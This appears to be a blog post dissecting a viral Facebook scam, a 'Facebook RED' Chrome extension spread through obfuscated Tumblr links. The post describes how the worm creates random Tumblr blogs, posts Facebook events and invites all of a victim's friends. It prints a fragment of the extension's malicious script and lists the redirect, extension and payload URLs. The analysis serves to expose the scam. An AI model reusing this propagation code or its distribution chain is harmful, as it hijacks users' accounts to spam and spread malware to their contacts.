Make it Red And Viral

It’s disappointing that this Chrome Extension doesn’t even make your Timeline Red.

My Friends Can Change The Color of Facebook!!!

special url can be found at the first comment

http://it5xa1xc1.tumblr.com/

Oh, that’s a special URL alright, a lot of obfuscation for no apparent reason

How it works

  • Click a 01010101.tumblr.com/ link
  • Get redirected to a http://redf6.s3-website-us-east-1.amazonaws.com/ link
  • Get prompted to install the Facebook RED chrome extension https://chrome.google.com/webstore/detail/facebook-red/djicdajegmppedmnlgkhgjgejlgeblei/related
  • Once the extension is installed and a Facebook page is open the script executes as follows from https://s3.amazonaws.com/backgroundScript/red1.js

Create a new random Tumblr

function createTumblr() {
                        console.log('CREATING TUMBLR');

                        function makeid() {
                            var text = "";
                            var possible = "abcdefghijklmnopqrstuvwxyz0123456789";
                            for(var i = 0; i < 9; i++)
                            text += possible.charAt(Math.floor(Math.random() * possible.length));
                            return text;
                        }


   // ...

        chrome.extension.sendMessage({
                                        type: 'post',
                                        url: 'http://www.tumblr.com/new/blog',
                                        data: params
                                    }, function(data) 

  • Create a new Facebook Event
  • Invites all your friends
  • Upload photo and link to newly created blog with page containing Tumblr link

The vicious cycle continues

Comments

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